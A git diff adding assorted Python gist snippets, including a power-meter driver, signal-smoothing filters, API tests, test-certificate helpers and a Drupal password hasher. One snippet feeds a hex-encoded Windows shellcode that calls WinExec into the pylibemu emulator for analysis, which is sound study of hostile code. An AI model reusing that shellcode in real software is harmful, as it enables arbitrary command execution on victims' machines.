+
+    print "Resetting the Yokogawa WT1600..."
+    measureItems = ["URMS", "IRMS", "S", "P", "LAMBda", "WH", "AH", "TIME"]
+    self.write("*RST")
+    time.sleep(5)
+    self.write("*CLS")
+    self.ask("*IDN?")
+    s = [":rate 1",
+         ":input:voltage:range:element1 300", #element1 300   | element2 300
+         ":input:current:range:element1 500MA", #element1 500MA | element2 10A
+         ":display:numeric:normal:iamount {0}".format(len(measureItems)),
+         ";".join(setupMeasurements(measureItems)),
+         ":numeric:normal:number {0}".format(len(measureItems)),
+         ";".join(setupMeasurements(measureItems)),
+         ":store:memory:initialize",
+         ":store:direction memory",
+                "interval 0,0,0",
+                "item numeric",
+                "smode integrate",
+                "mode store",
+                "numeric:normal:all off",
+                               "element1 on", #element1 on | element2 on
+                               ";".join(["{0} ON".format(m) for m in measureItems])]
+    self.write(";".join(s))
+
+  def queryMeasurements(self):
+    """Returns a list of 8 measurements seen on the preset display:
+       URMS, IRMS, S, P, LAMBda, WH, AH, TIME
+    """
+    values = self.ask(":numeric:normal:value?")
+    values = values.split(',')
+    data = [float(i) for i in values]
+    return data
+
+  def getIntegrateState(self):
+    return self.ask(":integrate:state? 1")
+
+  def startIntegrator(self):
+    """Returns integrator startTime.
+    """
+    if self.getIntegrateState() != "RES": self.resetIntegrator()
+    print "\nStarting integrator...\n"
+    self.write(":integrate:independent OFF; start")
+    integrateStartTime = time.time()
+    if self.getIntegrateState() == "STAR": print "Integrator has started."
+    return integrateStartTime
+
+  def stopIntegrator(self):
+    if self.getIntegrateState() == "STAR":
+      print "\nStopping integrator...\n"
+      self.write(":integrate:stop")
+      time.sleep(1)
+    state = self.getIntegrateState()
+    if state == "STOP": print "Integrator has stopped."
+    elif state == "RES": print "Integrator has reset."
+
+  def resetIntegrator(self):
+    if self.getIntegrateState() != "STOP": self.stopIntegrator()
+    print "\nResetting integrator...\n"
+    self.write(":integrate:reset")
+    if self.getIntegrateState() == "RES": print "Integrator has reset."
+
+  def storeReady(self, duration):
+    """duration is in minutes
+    """
+    storeCount = duration * 60 # based on 1s update rate
+    def convertDuration(duration):
+      duration = float(duration)
+      h = s = 0
+      m = duration
+      if duration > 59:
+        h = duration / 60
+        m = (h - int(h)) * 60
+      return "{0:02},{1:02},{2:02}".format(int(h), int(m), s)
+    self.stopIntegrator()
+    self.resetIntegrator()
+    s = [":store:memory:initialize",
+         ":store:count {0}".format(storeCount),
+         ":integrate:timer {0}".format(convertDuration(duration)),
+         ":store:mode store",
+         ":store:start"]
+    self.write(";".join(s))
+
+  def recallMemory(self):
+    self.resetIntegrator()
+    self.write(":store:mode recall")
+    dataCount = int(self.ask_for_values(":store:count?").pop())
+    for n in range(1, dataCount + 1):
+      self.write(":store:recall {0}".format(n))
+      data = self.queryMeasurements()
+
+      TIME         = "{0:>10.3f}".format(data[7])
+      VOLTAGE      = "{0}".format(data[0]) if not np.isinf(data[0]) else "Out of range"
+      CURRENT      = "{0}".format(data[1]) if not np.isinf(data[1]) else "Out of range"
+      APPARENT_PWR = "{0}".format(data[2]) if not np.isinf(data[2]) else "Out of range"
+      TRUE_PWR     = "{0}".format(data[3]) if not np.isinf(data[3]) else "Out of range"
+      PF           = "{0}".format(data[4]) if not np.isinf(data[4]) else "Out of range"
+      WATT_HR      = "{0}".format(data[5]) if not np.isinf(data[5]) else "Out of range"
+      AMP_HR       = "{0}\n".format(data[6]) if not np.isinf(data[6]) else "Out of range"
+
+      s = [TIME, VOLTAGE, CURRENT, APPARENT_PWR, TRUE_PWR, PF, WATT_HR, AMP_HR]
+      s = ",".join(s)
+      yield s
+    self.write(":store:mode store")
\ No newline at end of file
diff --git a/hard-gists/2310005/._snippet.py b/hard-gists/2310005/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2310005/._snippet.py differ
diff --git a/hard-gists/2310005/snippet.py b/hard-gists/2310005/snippet.py
new file mode 100644
index 00000000..62212de1
--- /dev/null
+++ b/hard-gists/2310005/snippet.py
@@ -0,0 +1,44 @@
+import os
+import struct
+import pylibemu
+
+emu = pylibemu.Emulator()
+
+# shellcode uses this address for the winexec call as cmdline
+# modify it to see different emu_profile_output
+emu.memory_write_dword(0x41414243, 0x41414141)
+# this is used as exitprocess exitcode
+emu.memory_write_dword(0x41414143, 0x00000021)
+
+#b = open('/opt/pylibemu/urldownloadsc/test.s','rb').read()
+b = 'eb6b566a3059648b018b400c8b701cad8b40085ec3608b6c24248b453c8b54057801ea8b4a188b5a2001ebe334498b348b01ee31ff31c0fcac84c07407c1cf0d01c7ebf43b7c242875e18b5a2401eb668b0c4b8b5a1c01eb8b048b01e88944241c61c35fe899ffffff89c3eb05e8f1ffffff6898fe8a0e53e898ffffff41516843424141ffd0687ed8e27353e884ffffff31d28b8a4341414151ffd0'.decode('hex')
+
+MEM_OFFSET = 0x401000
+# make the ret work by putting our address here
+emu.memory_write_dword(MEM_OFFSET, MEM_OFFSET + 4)
+
+# manually copy shellcode to mem
+for i in range(0, len(b), 4):
+	emu.memory_write_dword(MEM_OFFSET + 4 + i, struct.unpack('I',b[i:i+4].ljust(4, '\x00'))[0])
+
+# c3 is ret, 90 is nop
+emu.prepare('\xc3\x90\x90\x90', 0)
+
+# set stack to MEM_OFFSET
+emu.cpu_reg32_set(pylibemu.EMU_REGS.esp, MEM_OFFSET)
+
+emu.test()
+
+print 'EMU PROFILE OUTPUT:'
+print emu.emu_profile_output
+
+# output should look like:
+#EMU PROFILE OUTPUT:
+#UINT WINAPI WinExec (
+#     LPCSTR = 0x01c5cdb0 => 
+#           = "AAAA";
+#     UINT uCmdShow = 49;
+#) =  32;
+#void ExitProcess (
+#     UINT uExitCode = 2088763392;
+#) =  0;
\ No newline at end of file
diff --git a/hard-gists/2321077/._snippet.py b/hard-gists/2321077/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2321077/._snippet.py differ
diff --git a/hard-gists/2321077/snippet.py b/hard-gists/2321077/snippet.py
new file mode 100644
index 00000000..ffa7e26d
--- /dev/null
+++ b/hard-gists/2321077/snippet.py
@@ -0,0 +1,172 @@
+import numpy as np
+import scipy, scipy.signal
+
+def savitzky_golay( y, window_size, order, deriv = 0 ):
+    r"""Smooth (and optionally differentiate) data with a Savitzky-Golay filter.
+    The Savitzky-Golay filter removes high frequency noise from data.
+    It has the advantage of preserving the original shape and
+    features of the signal better than other types of filtering
+    approaches, such as moving averages techhniques.
+    Parameters
+    ----------
+    y : array_like, shape (N,)
+        the values of the time history of the signal.
+    window_size : int
+        the length of the window. Must be an odd integer number.
+    order : int
+        the order of the polynomial used in the filtering.
+        Must be less then `window_size` - 1.
+    deriv: int
+        the order of the derivative to compute (default = 0 means only smoothing)
+    Returns
+    -------
+    ys : ndarray, shape (N)
+        the smoothed signal (or it's n-th derivative).
+    Notes
+    -----
+    The Savitzky-Golay is a type of low-pass filter, particularly
+    suited for smoothing noisy data. The main idea behind this
+    approach is to make for each point a least-square fit with a
+    polynomial of high order over a odd-sized window centered at
+    the point.
+    Examples
+    --------
+    t = np.linspace(-4, 4, 500)
+    y = np.exp( -t**2 ) + np.random.normal(0, 0.05, t.shape)
+    ysg = savitzky_golay(y, window_size=31, order=4)
+    import matplotlib.pyplot as plt
+    plt.plot(t, y, label='Noisy signal')
+    plt.plot(t, np.exp(-t**2), 'k', lw=1.5, label='Original signal')
+    plt.plot(t, ysg, 'r', label='Filtered signal')
+    plt.legend()
+    plt.show()
+    References
+    ----------
+    .. [1] A. Savitzky, M. J. E. Golay, Smoothing and Differentiation of
+       Data by Simplified Least Squares Procedures. Analytical
+       Chemistry, 1964, 36 (8), pp 1627-1639.
+    .. [2] Numerical Recipes 3rd Edition: The Art of Scientific Computing
+       W.H. Press, S.A. Teukolsky, W.T. Vetterling, B.P. Flannery
+       Cambridge University Press ISBN-13: 9780521880688
+    """
+    try:
+        window_size = np.abs( np.int( window_size ) )
+        order = np.abs( np.int( order ) )
+    except ValueError, msg:
+        raise ValueError( "window_size and order have to be of type int" )
+    if window_size % 2 != 1 or window_size < 1:
+        raise TypeError( "window_size size must be a positive odd number" )
+    if window_size < order + 2:
+        raise TypeError( "window_size is too small for the polynomials order" )
+    order_range = range( order + 1 )
+    half_window = ( window_size - 1 ) // 2
+    # precompute coefficients
+    b = np.mat( [[k ** i for i in order_range] for k in range( -half_window, half_window + 1 )] )
+    m = np.linalg.pinv( b ).A[deriv]
+    # pad the signal at the extremes with
+    # values taken from the signal itself
+    firstvals = y[0] - np.abs( y[1:half_window + 1][::-1] - y[0] )
+    lastvals = y[-1] + np.abs( y[-half_window - 1:-1][::-1] - y[-1] )
+    y = np.concatenate( ( firstvals, y, lastvals ) )
+    return np.convolve( m, y, mode = 'valid' )
+
+def savitzky_golay_piecewise( xvals, data, kernel = 11, order = 4 ):
+    turnpoint = 0
+    last = len( xvals )
+    if xvals[1] > xvals[0] : #x is increasing?
+        for i in range( 1, last ) : #yes
+            if xvals[i] < xvals[i - 1] : #search where x starts to fall
+                turnpoint = i
+                break
+    else: #no, x is decreasing
+        for i in range( 1, last ) : #search where it starts to rise
+            if xvals[i] > xvals[i - 1] :
+                turnpoint = i
+                break
+    if turnpoint == 0 : #no change in direction of x
+        return savitzky_golay( data, kernel, order )
+    else:
+        #smooth the first piece
+        firstpart = savitzky_golay( data[0:turnpoint], kernel, order )
+        #recursively smooth the rest
+        rest = savitzky_golay_piecewise( xvals[turnpoint:], data[turnpoint:], kernel, order )
+        return numpy.concatenate( ( firstpart, rest ) )
+
+def sgolay2d ( z, window_size, order, derivative = None ):
+    """
+    """
+    # number of terms in the polynomial expression
+    n_terms = ( order + 1 ) * ( order + 2 ) / 2.0
+
+    if  window_size % 2 == 0:
+        raise ValueError( 'window_size must be odd' )
+
+    if window_size ** 2 < n_terms:
+        raise ValueError( 'order is too high for the window size' )
+
+    half_size = window_size // 2
+
+    # exponents of the polynomial.
+    # p(x,y) = a0 + a1*x + a2*y + a3*x^2 + a4*y^2 + a5*x*y + ...
+    # this line gives a list of two item tuple. Each tuple contains
+    # the exponents of the k-th term. First element of tuple is for x
+    # second element for y.
+    # Ex. exps = [(0,0), (1,0), (0,1), (2,0), (1,1), (0,2), ...]
+    exps = [ ( k - n, n ) for k in range( order + 1 ) for n in range( k + 1 ) ]
+
+    # coordinates of points
+    ind = np.arange( -half_size, half_size + 1, dtype = np.float64 )
+    dx = np.repeat( ind, window_size )
+    dy = np.tile( ind, [window_size, 1] ).reshape( window_size ** 2, )
+
+    # build matrix of system of equation
+    A = np.empty( ( window_size ** 2, len( exps ) ) )
+    for i, exp in enumerate( exps ):
+        A[:, i] = ( dx ** exp[0] ) * ( dy ** exp[1] )
+
+    # pad input array with appropriate values at the four borders
+    new_shape = z.shape[0] + 2 * half_size, z.shape[1] + 2 * half_size
+    Z = np.zeros( ( new_shape ) )
+    # top band
+    band = z[0, :]
+    Z[:half_size, half_size:-half_size] = band - np.abs( np.flipud( z[1:half_size + 1, :] ) - band )
+    # bottom band
+    band = z[-1, :]
+    Z[-half_size:, half_size:-half_size] = band + np.abs( np.flipud( z[-half_size - 1:-1, :] ) - band )
+    # left band
+    band = np.tile( z[:, 0].reshape( -1, 1 ), [1, half_size] )
+    Z[half_size:-half_size, :half_size] = band - np.abs( np.fliplr( z[:, 1:half_size + 1] ) - band )
+    # right band
+    band = np.tile( z[:, -1].reshape( -1, 1 ), [1, half_size] )
+    Z[half_size:-half_size, -half_size:] = band + np.abs( np.fliplr( z[:, -half_size - 1:-1] ) - band )
+    # central band
+    Z[half_size:-half_size, half_size:-half_size] = z
+
+    # top left corner
+    band = z[0, 0]
+    Z[:half_size, :half_size] = band - np.abs( np.flipud( np.fliplr( z[1:half_size + 1, 1:half_size + 1] ) ) - band )
+    # bottom right corner
+    band = z[-1, -1]
+    Z[-half_size:, -half_size:] = band + np.abs( np.flipud( np.fliplr( z[-half_size - 1:-1, -half_size - 1:-1] ) ) - band )
+
+    # top right corner
+    band = Z[half_size, -half_size:]
+    Z[:half_size, -half_size:] = band - np.abs( np.flipud( Z[half_size + 1:2 * half_size + 1, -half_size:] ) - band )
+    # bottom left corner
+    band = Z[-half_size:, half_size].reshape( -1, 1 )
+    Z[-half_size:, :half_size] = band - np.abs( np.fliplr( Z[-half_size:, half_size + 1:2 * half_size + 1] ) - band )
+
+    # solve system and convolve
+    if derivative == None:
+        m = np.linalg.pinv( A )[0].reshape( ( window_size, -1 ) )
+        return scipy.signal.fftconvolve( Z, m, mode = 'valid' )
+    elif derivative == 'col':
+        c = np.linalg.pinv( A )[1].reshape( ( window_size, -1 ) )
+        return scipy.signal.fftconvolve( Z, -c, mode = 'valid' )
+    elif derivative == 'row':
+        r = np.linalg.pinv( A )[2].reshape( ( window_size, -1 ) )
+        return scipy.signal.fftconvolve( Z, -r, mode = 'valid' )
+    elif derivative == 'both':
+        c = np.linalg.pinv( A )[1].reshape( ( window_size, -1 ) )
+        r = np.linalg.pinv( A )[2].reshape( ( window_size, -1 ) )
+        return scipy.signal.fftconvolve( Z, -r, mode = 'valid' ), scipy.signal.fftconvolve( Z, -c, mode = 'valid' )
\ No newline at end of file
diff --git a/hard-gists/2337dd6cf56f2845bfa901a6b9c430ae/._snippet.py b/hard-gists/2337dd6cf56f2845bfa901a6b9c430ae/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2337dd6cf56f2845bfa901a6b9c430ae/._snippet.py differ
diff --git a/hard-gists/2337dd6cf56f2845bfa901a6b9c430ae/snippet.py b/hard-gists/2337dd6cf56f2845bfa901a6b9c430ae/snippet.py
new file mode 100644
index 00000000..73ade234
--- /dev/null
+++ b/hard-gists/2337dd6cf56f2845bfa901a6b9c430ae/snippet.py
@@ -0,0 +1,77 @@
+#!/usr/bin/env python
+# -*- coding:utf-8 -*-
+
+from hsdo import make_app
+from tornado.testing import AsyncHTTPSTestCase
+from tornado.escape import json_encode
+
+
+class BaseAsyncHTTPSTestCase(AsyncHTTPSTestCase):
+    def get_app(self):
+        return make_app()
+
+    def simple_test(self, url):
+        response = self.fetch(url)
+        self.assertNotIn('error_message', json_encode(response.body))
+        self.assertEqual(response.code, 200)
+
+
+class UsersTestCase(BaseAsyncHTTPSTestCase):
+    def test_active_users(self):
+        self.simple_test('/api/v1/users?status=active')
+
+    def test_new_users(self):
+        self.simple_test('/api/v1/users?status=new')
+
+
+class AdTestCase(BaseAsyncHTTPSTestCase):
+    def test_applock_click(self):
+        self.simple_test('/api/v1/ad/applock/click')
+
+    def test_applock_show(self):
+        self.simple_test('/api/v1/ad/applock/show')
+
+    def test_rate_click(self):
+        self.simple_test('/api/v1/ad/rate/click')
+
+    def test_rate_show(self):
+        self.simple_test('/api/v1/ad/rate/show')
+
+
+class FacebookTestCase(BaseAsyncHTTPSTestCase):
+    def test_fackbook_enter(self):
+        self.simple_test('/api/v1/facebook/enter')
+
+
+class FeedbackTestCase(BaseAsyncHTTPSTestCase):
+    def test_feedback_start(self):
+        self.simple_test('/api/v1/feedback/start')
+
+
+class MenuTestCase(BaseAsyncHTTPSTestCase):
+    def test_menu_open(self):
+        self.simple_test('/api/v1/menu/open')
+
+
+class NotifyboxTestCase(BaseAsyncHTTPSTestCase):
+    def test_notifybox_enter(self):
+        self.simple_test('/api/v1/notifybox/enter')
+
+
+class ScanTestCase(BaseAsyncHTTPSTestCase):
+    def test_scan_start(self):
+        self.simple_test('/api/v1/scan/start')
+
+
+class SdCardScanTestCase(BaseAsyncHTTPSTestCase):
+    def test_sdcardscan_start(self):
+        self.simple_test('/api/v1/sdcardscan/start')
+
+
+class SettingTestCase(BaseAsyncHTTPSTestCase):
+    def test_setting_start(self):
+        self.simple_test('/api/v1/setting/start')
+
+if __name__ == '__main__':
+    import unittest
+    unittest.main()
\ No newline at end of file
diff --git a/hard-gists/2338529/._snippet.py b/hard-gists/2338529/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2338529/._snippet.py differ
diff --git a/hard-gists/2338529/snippet.py b/hard-gists/2338529/snippet.py
new file mode 100644
index 00000000..ef249d48
--- /dev/null
+++ b/hard-gists/2338529/snippet.py
@@ -0,0 +1,198 @@
+"""
+Tools for creating a CA cert and signed server certs.
+Divined from http://svn.osafoundation.org/m2crypto/trunk/tests/test_x509.py
+
+The mk_temporary_xxx calls return a NamedTemporaryFile with certs.
+
+Usage ;
+
+   # Create a temporary CA cert and it's private key
+   cacert, cakey = mk_temporary_cacert()
+   # Create a temporary server cert+key, signed by the CA
+   server_cert = mk_temporary_cert(cacert.name, cakey.name, '*.server.co.uk')
+
+"""
+
+from tempfile import NamedTemporaryFile as namedtmp
+import time
+from M2Crypto import X509, EVP, RSA, ASN1
+
+
+__author__ = 'eskil@yelp.com'
+__all__ = ['mk_temporary_cacert', 'mk_temporary_cert']
+
+
+def mk_ca_issuer():
+	"""
+	Our default CA issuer name.
+	"""
+	issuer = X509.X509_Name()
+	issuer.C = "US"
+	issuer.CN = "ca_testing_server"
+	issuer.ST = 'CA'
+	issuer.L = 'San Francisco'
+	issuer.O = 'ca_yelp'
+	issuer.OU = 'ca_testing'
+	return issuer
+
+
+def mk_cert_valid(cert, days=365):
+	"""
+	Make a cert valid from now and til 'days' from now.
+	Args:
+	   cert -- cert to make valid
+	   days -- number of days cert is valid for from now.
+	"""
+	t = long(time.time())
+	now = ASN1.ASN1_UTCTIME()
+	now.set_time(t)
+	expire = ASN1.ASN1_UTCTIME()
+	expire.set_time(t + days * 24 * 60 * 60)
+	cert.set_not_before(now)
+	cert.set_not_after(expire)
+
+
+def mk_request(bits, cn='localhost'):
+	"""
+	Create a X509 request with the given number of bits in they key.
+	Args:
+	  bits -- number of RSA key bits
+	  cn -- common name in the request
+	Returns a X509 request and the private key (EVP)
+	"""
+	pk = EVP.PKey()
+	x = X509.Request()
+	rsa = RSA.gen_key(bits, 65537, lambda: None)
+	pk.assign_rsa(rsa)
+	x.set_pubkey(pk)
+	name = x.get_subject()
+	name.C = "US"
+	name.CN = cn
+	name.ST = 'CA'
+	name.O = 'yelp'
+	name.OU = 'testing'
+	x.sign(pk,'sha1')
+	return x, pk
+
+
+def mk_cacert():
+	"""
+	Make a CA certificate.
+	Returns the certificate, private key and public key.
+	"""
+	req, pk = mk_request(1024)
+	pkey = req.get_pubkey()
+	cert = X509.X509()
+	cert.set_serial_number(1)
+	cert.set_version(2)
+	mk_cert_valid(cert)
+	cert.set_issuer(mk_ca_issuer())
+	cert.set_subject(cert.get_issuer())
+	cert.set_pubkey(pkey)
+	cert.add_ext(X509.new_extension('basicConstraints', 'CA:TRUE'))
+	cert.add_ext(X509.new_extension('subjectKeyIdentifier', cert.get_fingerprint()))
+	cert.sign(pk, 'sha1')
+	return cert, pk, pkey
+
+
+def mk_cert():
+	"""
+	Make a certificate.
+	Returns a new cert.
+	"""
+	cert = X509.X509()
+	cert.set_serial_number(2)
+	cert.set_version(2)
+	mk_cert_valid(cert)
+	cert.add_ext(X509.new_extension('nsComment', 'SSL sever'))
+	return cert
+
+
+def mk_casigned_cert():
+	"""
+	Create a CA cert + server cert + server private key.
+	"""
+	# unused, left for history.
+	cacert, pk1, _ = mk_cacert()
+	cert_req, pk2 = mk_request(1024, cn='testing_server')
+	cert = mk_cert(cacert)
+	cert.set_subject(cert_req.get_subject())
+	cert.set_pubkey(cert_req.get_pubkey())
+	cert.sign(pk1, 'sha1')
+	return cacert, cert, pk2
+
+
+def mk_temporary_cacert():
+	"""
+	Create a temporary CA cert.
+	Returns a tuple of NamedTemporaryFiles holding the CA cert and private key.
+	"""
+	cacert, pk1, pkey = mk_cacert()
+	cacertf = namedtmp()
+	cacertf.write(cacert.as_pem())
+	cacertf.flush()
+
+	pk1f = namedtmp()
+	pk1f.write(pk1.as_pem(None))
+	pk1f.flush()
+
+	return cacertf, pk1f
+
+
+def mk_temporary_cert(cacert_file, ca_key_file, cn):
+	"""
+	Create a temporary certificate signed by the given CA, and with the given common name.
+
+	If cacert_file and ca_key_file is None, the certificate will be self-signed.
+
+	Args:
+	  cacert_file -- file containing the CA certificate
+	  ca_key_file -- file containing the CA private key
+	  cn -- desired common name
+	Returns a namedtemporary file with the certificate and private key
+	"""
+	cert_req, pk2 = mk_request(1024, cn=cn)
+	if cacert_file and ca_key_file:
+		cacert = X509.load_cert(cacert_file)
+		pk1 = EVP.load_key(ca_key_file)
+	else:
+		cacert = None
+		pk1 = None
+
+	cert = mk_cert()
+	cert.set_subject(cert_req.get_subject())
+	cert.set_pubkey(cert_req.get_pubkey())
+
+	if cacert and pk1:
+		cert.set_issuer(cacert.get_issuer())
+		cert.sign(pk1, 'sha1')
+	else:
+		cert.set_issuer(cert.get_subject())
+		cert.sign(pk2, 'sha1')
+
+	certf = namedtmp()
+	certf.write(cert.as_pem())
+	certf.write(pk2.as_pem(None))
+	certf.flush()
+
+	return certf
+
+
+if __name__ == '__main__':
+	cacert, cert, pk = mk_casigned_cert()
+	with open('cacert.crt', 'w') as f:
+		f.write(cacert.as_pem())
+	with open('cert.crt', 'w') as f:
+		f.write(cert.as_pem())
+		f.write(pk.as_pem(None))
+
+	# Sanity checks...
+	cac = X509.load_cert('cacert.crt')
+	print cac.verify(), cac.check_ca()
+	cc = X509.load_cert('cert.crt')
+	print cc.verify(cac.get_pubkey())
+
+# protips
+# openssl verify -CAfile cacert.crt cacert.crt cert.crt
+# openssl x509 -in cert.crt -noout -text
+# openssl x509 -in cacert.crt -noout -text
diff --git a/hard-gists/2344345/._snippet.py b/hard-gists/2344345/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2344345/._snippet.py differ
diff --git a/hard-gists/2344345/snippet.py b/hard-gists/2344345/snippet.py
new file mode 100644
index 00000000..113893aa
--- /dev/null
+++ b/hard-gists/2344345/snippet.py
@@ -0,0 +1,96 @@
+"""
+DrupalPasswordHasher
+
+To use, put this in any app and add to your settings.py, something like this:
+
+PASSWORD_HASHERS = (
+    'django.contrib.auth.hashers.PBKDF2PasswordHasher',
+    'myproject.myapp.drupal_hasher.DrupalPasswordHasher',
+    'django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher',
+    'django.contrib.auth.hashers.BCryptPasswordHasher',
+    'django.contrib.auth.hashers.SHA1PasswordHasher',
+    'django.contrib.auth.hashers.MD5PasswordHasher',
+    'django.contrib.auth.hashers.CryptPasswordHasher',
+)
+
+Three notes:
+
+-This requires Drupal 1.4 or higher (with the introduction of the flexible password
+hasher)
+
+-In Drupal, the number of algorithm iterations is a power of 2,
+which is represented by the first character after the $. Specifically, it
+performs 2^(index within _ITOA64) iterations, such that 'C' represents 2^14
+and 'D' would represent 2^15.
+
+-In Drupal the passwords are stored as:
+
+$S$<hash>
+
+while in Django the passwords are stored as
+
+S$<hash>
+
+So you must cut off the first character of each password when migrating.
+"""
+
+import hashlib
+
+from django.contrib.auth.hashers import BasePasswordHasher
+
+_ITOA64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
+
+
+class DrupalPasswordHasher(BasePasswordHasher):
+    algorithm = "S"
+    iter_code = 'C'
+    salt_length = 8
+
+    def encode(self, password, salt, iter_code=None):
+        """The Drupal 7 method of encoding passwords"""
+        if iter_code == None:
+            iterations = 2 ** _ITOA64.index(self.iter_code)
+        else:
+            iterations = 2 ** _ITOA64.index(iter_code)
+        hash = hashlib.sha512(salt + password).digest()
+
+        for i in range(iterations):
+            hash = hashlib.sha512(hash + password).digest()
+
+        l = len(hash)
+
+        output = ''
+        i = 0
+
+        while i < l:
+            value = ord(hash[i])
+            i = i + 1
+
+            output += _ITOA64[value & 0x3f]
+            if i < l:
+                value |= ord(hash[i]) << 8
+
+            output += _ITOA64[(value >> 6) & 0x3f]
+            if i >= l:
+                break
+            i += 1
+
+            if i < l:
+                value |= ord(hash[i]) << 16
+
+            output += _ITOA64[(value >> 12) & 0x3f]
+            if i >= l:
+                break
+            i += 1
+
+            output += _ITOA64[(value >> 18) & 0x3f]
+
+        longhashed = "%s$%s%s%s" % (self.algorithm, iter_code,
+                                    salt, output)
+        return longhashed[:54]
+
+    def verify(self, password, encoded):
+        hash = encoded.split("$")[1]
+        iter_code = hash[0]
+        salt = hash[1:1 + self.salt_length]
+        return encoded == self.encode(password, salt, iter_code)
diff --git a/hard-gists/2351057/._snippet.py b/hard-gists/2351057/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2351057/._snippet.py differ
diff --git a/hard-gists/2351057/snippet.py b/hard-gists/2351057/snippet.py
new file mode 100644
index 00000000..0e3a2b8b
--- /dev/null
+++ b/hard-gists/2351057/snippet.py
@@ -0,0 +1,145 @@
+"""
+Non-Negative Garotte implementation with the scikit-learn
+"""
+
+# Author: Alexandre Gramfort <alexandre.gramfort@inria.fr>
+#         Jaques Grobler (__main__ script) <jaques.grobler@inria.fr>
+#
+# License: BSD Style.
+
+import numpy as np
+
+
+from sklearn.linear_model.base import LinearModel
+from sklearn.linear_model import LinearRegression, Lasso, lasso_path
+
+
+def non_negative_garotte(X, y, alpha, tol=0.001):
+    coef_ols = LinearRegression(fit_intercept=False).fit(X, y).coef_
+
+    X = X * coef_ols[np.newaxis, :]
+    shrink_coef = Lasso(alpha=alpha, fit_intercept=False,
+                        positive=True, normalize=False,
+                        tol=tol).fit(X, y).coef_
+
+    # Shrunken betas
+    coef = coef_ols * shrink_coef
+
+    # Residual Sum of Squares
+    rss = np.sum((y - np.dot(X, coef)) ** 2)
+    return coef, shrink_coef, rss
+
+
+def non_negative_garotte_path(X, y, eps=1e-3, n_alphas=100, alphas=None,
+                   precompute='auto', **params):
+    coef_ols = LinearRegression(fit_intercept=False).fit(X, y).coef_
+
+    X = X * coef_ols[np.newaxis, :]
+
+    # Use lars_path even if it does not support positivity (much faster)
+    _, _, shrink_coef_path = lars_path(X, y, method='lasso')
+
+    # models = lasso_path(X, y, eps, n_alphas, alphas=None,
+    #            precompute=precompute, Xy=None, fit_intercept=False,
+    #            normalize=False, copy_X=True, verbose=False,
+    #            **params)
+    #
+    # shrink_coef_path = np.array([m.coef_ for m in models]).T
+
+    coef_path = shrink_coef_path * coef_ols[:, None]
+
+    # Residual Sum of Squares
+    rss_path = np.sum((y[:, None] - np.dot(X, coef_path)) ** 2, axis=0)
+
+    return coef_path, shrink_coef_path, rss_path
+
+
+class NonNegativeGarrote(LinearModel):
+    """NonNegativeGarrote
+
+    Ref:
+    Breiman, L. (1995), "Better Subset Regression Using the Nonnegative
+    Garrote," Technometrics, 37, 373-384. [349,351]
+    """
+    def __init__(self, alpha, fit_intercept=True, tol=1e-4, normalize=False,
+                 copy_X=True):
+        self.alpha = alpha
+        self.fit_intercept = fit_intercept
+        self.tol = tol
+        self.normalize = normalize
+        self.copy_X = copy_X
+
+    def fit(self, X, y):
+
+        X, y, X_mean, y_mean, X_std = self._center_data(X, y,
+                self.fit_intercept, self.normalize, self.copy_X)
+
+        self.coef_, self.shrink_coef_, self.rss_ = \
+                                    non_negative_garotte(X, y, self.alpha)
+        self._set_intercept(X_mean, y_mean, X_std)
+
+
+
+if __name__ == '__main__':
+    import pylab as pl
+    from sklearn.utils import check_random_state
+    from sklearn.linear_model import lars_path
+
+    rng = check_random_state(None)
+
+    max_samples = 501
+    sample_size_range = xrange(25, max_samples, 25)
+
+    # true path
+    coef = np.array([1, 1, 0])
+
+    # for 4 different values of alpha
+    for alpha_val, fig_num in ((0.35, 1), (0.45, 2), (0.55, 3), (0.65, 4)):
+        # lists for plotting the two techniques results
+        hits_lars = []
+        hits_ng = []
+
+        print 'for alpha = ', alpha_val
+        # set up plots
+        pl.figure(fig_num, figsize=(5, 5))
+        pl.clf
+        pl.axis('tight')
+        pl.title('alpha = %.2f' % alpha_val )
+        pl.xlabel('Sample Size')
+        pl.ylabel('Frequency of Selecting Correct Models')
+
+        # vary the sample size from 25 up until 500
+        for sample_size in sample_size_range:
+            ng_path_correct = 0
+            lars_path_correct = 0
+
+            # create 100 data sets to test
+            for dataset_iter in xrange(100):
+                # create a dataset
+                X1 = rng.randn(sample_size)
+                X2 = rng.randn(sample_size)
+                X3 = np.sqrt(1 - 2 * alpha_val ** 2) * rng.randn(sample_size) \
+                    + alpha_val * (X1 + X2)
+                X = np.c_[X1, X2, X3]
+                y = np.dot(X, [1, 1, 0])
+
+                # get the lasso's coefficients
+                alphas, _, coefs = lars_path(X, y, method='lasso')
+                # get the non-negative garotte's coefficients
+                ng_coefs, _, _ = non_negative_garotte_path(X, y, eps=1e-5)
+
+                # test if either model's solution path matches the orinial model
+                if np.any(np.all(ng_coefs.astype(np.bool) == coef.astype(np.bool)[:, np.newaxis], axis=0)):
+                    ng_path_correct += 1
+                if np.any(np.all(coefs.astype(np.bool) == coef.astype(np.bool)[:, np.newaxis], axis=0)):
+                    lars_path_correct += 1
+
+            hits_lars.append(lars_path_correct / 100.)
+            hits_ng.append(ng_path_correct / 100.)
+
+        pl.plot(sample_size_range, hits_lars, 'r-')
+        pl.plot(sample_size_range, hits_ng, 'b-')
+        pl.xlim([0, max_samples])
+        pl.ylim([0, 1.1])
+
+    pl.show()
diff --git a/hard-gists/2351079/._snippet.py b/hard-gists/2351079/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/2351079/._snippet.py differ
diff --git a/hard-gists/2351079/snippet.py b/hard-gists/2351079/snippet.py
new file mode 100644
index 00000000..d41bbe2c
--- /dev/null
+++ b/hard-gists/2351079/snippet.py
@@ -0,0 +1,32 @@
+from django.core import paginator
+from django.core.paginator import EmptyPage, PageNotAnInteger
+
+class Paginator(paginator.Paginator):
+	def __len__(self):
+		try:
